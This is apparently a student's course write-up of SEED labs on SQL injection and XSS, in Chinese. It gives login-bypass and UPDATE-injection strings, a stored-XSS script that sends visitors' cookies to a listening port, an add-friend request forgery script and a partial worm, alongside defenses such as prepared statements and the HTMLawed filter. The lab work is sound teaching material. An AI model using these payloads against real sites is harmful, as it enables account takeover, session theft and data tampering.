20252906 2025-2026-2 《网络攻防实践》第十周作业

1.实践内容

一、SEED SQL 注入攻击与防御实验

本实验基于一个已搭建并部署在 www.SEEDLabSQLInjection.com 的 Web 应用程序。该系统是一个简单的员工管理平台,员工可以通过该平台查看和修改个人信息。系统主要包含两类用户角色:管理员拥有较高权限,可管理所有员工的个人资料;普通员工只能查看或更新自己的个人信息。实验任务如下:

  • 熟悉 SQL 语句:使用已创建的 Users 数据库及其中的 creditential 表,了解并练习基本 SQL 查询。该表保存了员工的 eid、密码、薪资、ssn 等个人信息。
  • 针对 SELECT 语句的 SQL 注入攻击:利用 Web 应用中的 SQL 输入漏洞,在不知道密码的情况下完成登录。
  • 针对 UPDATE 语句的 SQL 注入攻击:通过员工个人信息更新页面,对 UPDATE 语句实施 SQL 注入攻击。
  • SQL 注入防御:修复上述 SQL 注入漏洞,提升系统安全性。

二、SEED XSS 跨站脚本攻击实验(Elgg)

本实验使用预先配置在 Ubuntu 虚拟机中的 Elgg Web 应用程序,用于演示攻击者如何利用 XSS 漏洞。实验要求学生针对修改后的 Elgg 平台实施 XSS 攻击,最终目标是实现 XSS 蠕虫在用户之间传播,使访问受感染用户主页的其他用户也被感染。实验任务如下:

  • 发布恶意消息并显示警告窗口:在 Elgg 个人资料中嵌入 JavaScript 程序,使其他用户访问该页面时自动执行脚本并弹出警告窗口。
  • 弹窗显示 cookie 信息:通过脚本获取并显示当前用户的 cookie 信息。
  • 窃取受害者 cookies:将受害者的 cookie 信息发送给攻击者。
  • 自动添加受害者为好友:利用 JavaScript 程序模拟加好友操作,在无需受害者主动操作的情况下完成好友添加,并通过相关工具分析 Elgg 的加好友流程。
  • 修改受害者资料:使用 JavaScript 程序,使受害者访问 Alice 页面时,其个人资料在无交互的情况下被自动修改。
  • 编写 XSS 蠕虫:实现能够自我传播的 XSS 蠕虫程序。
  • 防御 XSS 攻击:针对上述 XSS 攻击方式进行修复和防护。

知识点梳理总结

实验模块 攻击技术 核心原理 关键操作 / 示例描述 防御措施
SQL 注入(SELECT) 登录绕过 通过构造特殊输入改变查询条件,使认证判断失效 在用户名处注入永真条件,密码可任意填写 使用参数化查询或预编译语句
SQL 注入(UPDATE) 数据篡改 利用更新语句拼接漏洞,修改非授权字段或他人信息 在资料更新处插入额外更新逻辑,篡改工资等数据 输入校验、最小权限、禁止多语句执行
XSS(存储型) 脚本执行 将恶意脚本存入个人资料,其他用户访问时自动执行 在个人资料中嵌入脚本并触发弹窗 HTML 实体转义、输入过滤
XSS(Cookie 窃取) 凭证窃取 通过脚本读取浏览器 Cookie 并发送给攻击者 访问受感染页面后,Cookie 被自动外传 设置 HttpOnly、Secure、SameSite
XSS(请求伪造) 非授权操作 借助受害者已登录状态,在其浏览器中发起伪造请求 自动添加好友或修改个人资料 CSRF Token、请求来源校验
XSS(蠕虫传播) 自我复制 脚本在执行后自动写入新的用户资料页,实现继续传播 用户访问感染页面后,其主页也被植入相同脚本 CSP、输出编码、脚本过滤

2. 实践过程

2.1 SEED SQL 注入攻击与防御实验

本实验以 SEED Lab 提供的 SQL 注入实验环境为基础。实验环境中已经搭建了一个员工管理类 Web 应用,并部署在 www.SEEDLabSQLInjection.com。该应用主要用于员工信息的查看与维护,系统中包含管理员和普通员工两类角色。

其中,管理员拥有较高权限,可以查看和管理所有员工的个人资料;普通员工则只能登录系统后查看或修改自己的相关信息。通过该实验,可以了解 Web 应用在处理用户输入和数据库查询时可能出现的安全问题,并进一步掌握 SQL 注入漏洞的攻击方式与防御方法。

2.1.1 熟悉 SQL 语句

实验环境中已经创建了一个名为 Users 的数据库,并在其中建立了 creditential 数据表。该表用于保存员工的基本信息和敏感数据,例如员工编号、密码、工资、社会安全号码等。

在正式进行 SQL 注入实验之前,需要先进入数据库环境,查看数据库结构和表中数据,并通过基本的 SQL 查询语句熟悉数据库的使用方式,为后续实验操作做准备。

实验开始前,首先需要下载并安装新版 SEED 虚拟机,完成实验环境的基本配置。

完成 SEED 虚拟机安装后,启动虚拟机系统,并在终端中切换到 root 用户权限。随后,通过 MySQL 登录命令进入数据库管理环境,使用如下命令连接 MySQL 数据库:

mysql -u root -pseedubuntu

ChatGPT Image 2026年6月2日 20_15_25 (1)

进入 MySQL 命令行环境后,需要先选择本实验所使用的数据库。输入以下命令切换到 Users 数据库:

use Users

ChatGPT Image 2026年6月2日 20_15_25 (2)

选择 Users 数据库后,可以进一步查看该数据库中包含的数据表。输入以下命令:

show tables

执行后,系统会列出当前数据库下的所有表,为后续查看表结构和查询数据做准备。

ChatGPT Image 2026年6月2日 20_15_27 (3)

通过查询可以看到,Users 数据库中包含一个名为 credential 的数据表,如图所示。为了进一步了解该表中保存的具体字段和数据内容,继续输入以下 SQL 查询命令:

select * from credential

ChatGPT Image 2026年6月2日 20_15_28 (4)

查询结果显示,credential 表中共存储了 6 名用户的相关信息,内容包括员工编号(eid)、用户名、密码、薪资等字段。

针对 SELECT 语句的 SQL 注入攻击

该 Web 应用在处理用户登录输入时存在 SQL 注入漏洞。本任务的目标是在不知道用户密码的情况下,利用输入验证不严格的问题完成系统登录。

首先打开浏览器,在地址栏中输入实验网站地址:

www.SEEDLabSQLInjection.com

访问后,可以进入员工管理系统的登录页面,页面显示效果如图所示。

3777340-20260529132453261-1592500321

在浏览器中进入登录页面后,可以使用快捷键 Ctrl + U 打开当前网页的源代码页面。通过查看页面源码,可以进一步了解登录表单的结构以及前端页面中相关输入框的设置情况。

3777340-20260529132509771-1542412888

通过查看网页源码可以发现,该登录表单采用 GET 方法提交用户输入的数据。用户填写的账号和密码会被作为请求参数发送到 unsafe_home.php 页面,由该页面负责进行后续的身份验证和登录判断。

3777340-20260529132527534-17016660

ChatGPT Image 2026年6月2日 20_37_00

在用户名输入框中,可以尝试构造特殊输入:

Admin' #

该输入会改变原本 SQL 语句的执行逻辑。拼接后,查询条件大致变为:

WHERE name = 'Admin' #' and Password = '$hashed_pwd'

其中,# 在 SQL 中表示注释符,因此其后的密码校验部分会被忽略。这样,实际生效的查询条件就相当于:

WHERE name = 'Admin'

也就是说,系统只会根据用户名进行判断,而不再验证密码。此时即使不输入正确密码,也可以登录到对应用户页面。

在实验网站中进行测试后,可以成功进入系统,说明该登录功能确实存在针对 SELECT 语句的 SQL 注入漏洞。

3777340-20260529132605683-139757156

针对 UPDATE 语句的 SQL 注入攻击

在进行 UPDATE 语句注入实验前,首先利用前面发现的登录验证漏洞进入系统。这里在用户名输入框中输入:

Ryan' #

通过该方式可以绕过密码验证,并以 Ryan 用户的身份登录到员工管理系统。登录成功后,页面会显示 Ryan 的个人资料信息。从页面中可以看到,Ryan 对应的员工编号为 30000

3777340-20260529133029194-471404579

页面中点击 “Edit Profile” 按钮,进入资料修改界面。该页面允许用户对个人信息进行编辑和提交,为后续测试 UPDATE 语句注入漏洞提供了操作入口。

3777340-20260529133045983-407061339

随后切换回终端命令行界面,使用 vim 编辑器打开资料修改功能对应的后端文件:

vim /var/www/SQLInjection/unsafe_edit_backend.php

ChatGPT Image 2026年6月2日 20_44_29

接着回到资料修改页面,在 Nickname 输入框中构造 UPDATE 注入语句,输入

', salary='500000' where EID='30000';#

该输入会借助后端 UPDATE 语句拼接不严的问题,将原本只能修改昵称的操作扩展为修改工资字段。输入完成后,点击 Save 按钮提交保存,即可观察工资信息是否被成功修改。

3777340-20260529133153686-1238986120

保存后返回Profile页面查看信息,可以发现 Ryan 的薪水已经被修改为 500000,说明本次 UPDATE 注入攻击执行成功。

3777340-20260529133210947-227007731

SQL 对抗

本部分主要对前面实验中发现的 SQL 注入漏洞进行修复。针对 SQL 注入问题,较为有效的防护方式是使用预处理语句,将 SQL 逻辑与用户输入数据分离,从而避免用户输入被当作 SQL 代码执行。

unsafe_edit_backend.php 文件中,对原来的 UPDATE 语句进行修改。原语句为:

$sql = "UPDATE credential SET nickname='$input_nickname', email='$input_email', address='$input_address', PhoneNumber='$input_phonenumber' where ID=$id;";

将其改为预处理形式:

$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);

修改并保存后,再使用类似方式进行 SQL 注入测试,注入内容不会被数据库当作 SQL 语句执行,因此攻击无法成功,说明漏洞已得到有效修复。

2.2 XSS 跨站脚本攻击实验

发布恶意内容并触发警报窗口

本实验需要在 Elgg 用户资料页面中插入一段 JavaScript 脚本。当其他用户访问该资料页面时,浏览器会自动执行该脚本,并弹出警报窗口,从而验证页面是否存在存储型 XSS 漏洞。

首先,在 SEED 虚拟机中打开浏览器,访问以下地址:

http://www.xsslabelgg.com/profile/alice

随后使用 Alice 账户登录系统,登录密码为 seedalice,进入 Alice 的个人主页,为后续脚本嵌入操作做准备。

3777340-20260529133237682-1999895543

登录 Alice 账户后,点击页面中的 Edit Profile,进入个人资料编辑界面。

随后在 Brief description 文本框中输入以下脚本内容:

<script>alert('xss');</script>

输入完成后,点击 Save 按钮保存资料。

3777340-20260529133256528-821496481

保存完成后,页面随即弹出内容为 “xss” 的提示框,说明嵌入的 JavaScript 脚本已经被成功执行。

3777340-20260529133314033-452990681

随后退出 Alice 账户,并使用 Boby 账户重新登录系统。Boby 的用户名为 boby,密码为 seedboby

登录成功后,访问 Alice 的个人主页,可以看到页面再次弹出相同的 “xss” 提示框,说明该脚本在其他用户浏览 Alice 主页时也会被自动执行。

3777340-20260529133336494-2047212543

重新使用 Alice 账户登录系统,并进入个人资料编辑页面。随后在 Brief description 输入框中填写以下脚本:

<script>alert(document.cookie);</script>

填写完成后点击 Save 保存。该脚本的作用是在页面加载时读取当前浏览器中的 Cookie 信息,并通过弹窗形式显示出来。

3777340-20260529133356594-1625723774

保存后,页面会自动弹出当前用户的 Cookie 内容,说明脚本成功读取并显示了浏览器中的 Cookie 信息。

3777340-20260529133415866-1222132244

该实验的基本思路是利用 JavaScript 脚本读取用户 Cookie,并通过构造请求将其发送到攻击者主机的 5555 端口。

首先登录 Alice 账户,进入个人资料编辑页面,在 Brief description 文本框中输入以下脚本:

<script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >');</script>

输入完成后点击 Save 保存。该脚本会在页面被访问时自动执行,并尝试将当前用户的 Cookie 信息作为参数发送出去。

3777340-20260529133436435-1932040162

随后在终端中使用 nc 命令对本机 5555 端口进行监听:

nc -l 5555 -v

接着退出 Alice 账户,使用 Boby 账户登录,并访问 Alice 的个人主页。返回命令行窗口后,可以看到监听端口接收到了 Boby 当前会话中的 Cookie 信息,说明该脚本成功将访问者的 Cookie 发送到了指定端口。

ChatGPT Image 2026年6月2日 21_01_35

自动添加受害者为好友

首先使用 Alice 账户登录 Elgg 系统。登录成功后,在页面菜单中依次点击 MoreMembers,进入用户成员列表页面。

3777340-20260529133518310-345468587

按下 F12 打开浏览器开发者工具,并切换到网络请求查看界面。随后在成员列表中选择 Boby,点击添加好友。通过观察右上角或相关请求信息,可以看到 Boby 对应的用户编号为 45

3777340-20260529133537190-501797383

随后先将 Boby 从 Alice 的好友列表中删除,以便验证后续脚本是否能够自动完成添加好友操作。接着进入 Alice 的 Edit Profile 页面,在指定输入框中填写 JavaScript 代码

window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();

}

保存后退出 Alice 账户,并使用 Boby 账户登录系统。随后访问一次 Alice 的个人主页,再返回 Boby 自己的主页进行查看,可以发现 Alice 已被自动添加为好友,说明该脚本成功完成了加好友操作。

编写 XSS 蠕虫

首先使用 Alice 账户登录 Elgg 系统,进入个人资料编辑页面。随后在 About me 字段中输入用于测试的 XSS 蠕虫脚本,并点击 Save 保存,使该脚本被写入 Alice 的个人主页。

var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);

并点击 Save 保存修改。

保存后页面弹出提示框,说明输入的脚本内容已经成功写入 Alice 的个人资料页面。

3777340-20260529133622588-1335019982

对抗 XSS 攻击

Elgg 平台本身提供了用于防护 XSS 攻击的安全插件。只需要在后台管理页面中启用相关插件,就可以对用户输入内容进行过滤,从而降低 XSS 攻击风险。

首先登录管理员账户,用户名为 admin,密码为 seedelgg。登录后依次进入 Account → Administration → Plugins 页面,在插件列表中找到名为 HTMLawed 的插件。

该插件的主要作用是检查用户提交的内容,并过滤或删除其中可能存在安全风险的 HTML 标签和脚本代码,从而防止恶意脚本被保存并在页面中执行。

3777340-20260529133639707-476028406

HTMLawed 插件设置为 Activate 状态,使其正式启用。随后退出管理员账户,再次使用 Alice 账户登录系统,并重新进行 XSS 脚本测试,以验证插件开启后是否能够有效拦截恶意代码。

3777340-20260529133653935-701899368

测试结果表明,启用 HTMLawed 插件后,XSS 攻击已经无法正常触发。此前在 About me 中填写的脚本代码不再被浏览器执行,而是以普通文本的形式显示在页面中。

3. 学习中遇到的问题及解决

  • 问题1:

做SELECT语句SQL注入登录实验时,我按照学习通视频输入了Admin' # 想要绕过密码登录,但提交之后页面没任何反应,依旧停留在登录页面,完全没有登录成功的跳转效果,最开始我一直以为是用户名输错、环境没配好,反复核对用户名都没用。

  • 解决:

最核心的问题是注释符使用不规范、空格缺失。我最开始输入的是 Admin'#(单引号和#之间没有空格),导致后端SQL语句拼接失败,#没有成功注释掉后面的密码校验代码,系统依旧执行了密码验证,所以注入失效。

我写成了:SELECT * FROM credential WHERE name='Admin'# AND password='$pwd'

  • 问题2:

在Alice个人简介中写入弹窗XSS脚本,保存页面后没有弹出窗口,切换Boby账号访问Alice主页,依旧没有任何脚本执行效果,一开始分不清是虚拟机环境卡顿、页面缓存问题,还是代码写错了,然后就卡了好长时间

  • 解决:

写JS脚本时出现中文标点符号错误,把英文括号、引号写成了中文符号,浏览器无法识别恶意脚本,直接判定代码无效,不会执行XSS攻击代码。同时存在页面未强制刷新、缓存未清理的问题。

唉,就是这次其实都是小问题,但是我每次碰到问题就不会检查然后也没有好好想,看到报错就去CSDN上搜,或者问智能体。但是他那上面没有这种的解决方案,我就花好几个小时去找去问,结果发现是这种小问题,还是得仔细

4. 实验总结

通过本次实验,我对 SQL 注入和 XSS 跨站脚本攻击有了更直观的认识。之前对这些漏洞的理解主要停留在概念层面,但通过实际操作可以发现,很多安全问题都是因为程序没有正确处理用户输入造成的。在 SQL 注入实验中,我了解了登录绕过和数据篡改的基本过程,也认识到直接拼接 SQL 语句存在很大的风险。尤其是在 UPDATE 注入实验中,普通用户本来不能修改工资信息,但通过构造特殊输入却可以改变数据库中的内容,这说明后台代码的安全处理非常重要。在 XSS 实验中,我观察到恶意脚本可以被保存到用户资料中,并在其他用户访问页面时自动执行。通过弹窗、显示 Cookie、自动添加好友等实验,可以看出 XSS 不只是简单的页面弹窗,还可能影响用户隐私和账户安全。最后,通过开启 HTMLawed 插件和使用预处理语句等防御方式,我进一步理解了漏洞修复的思路。总体来看,本次实验让我认识到,Web 安全防护不能只依靠前端限制,更重要的是在后端对用户输入进行严格校验、过滤和转义,同时采用安全的编程方式,才能有效降低攻击风险。

posted @ 2026-06-02 21:20  淡墨如野  阅读(20)  评论(0)    收藏  举报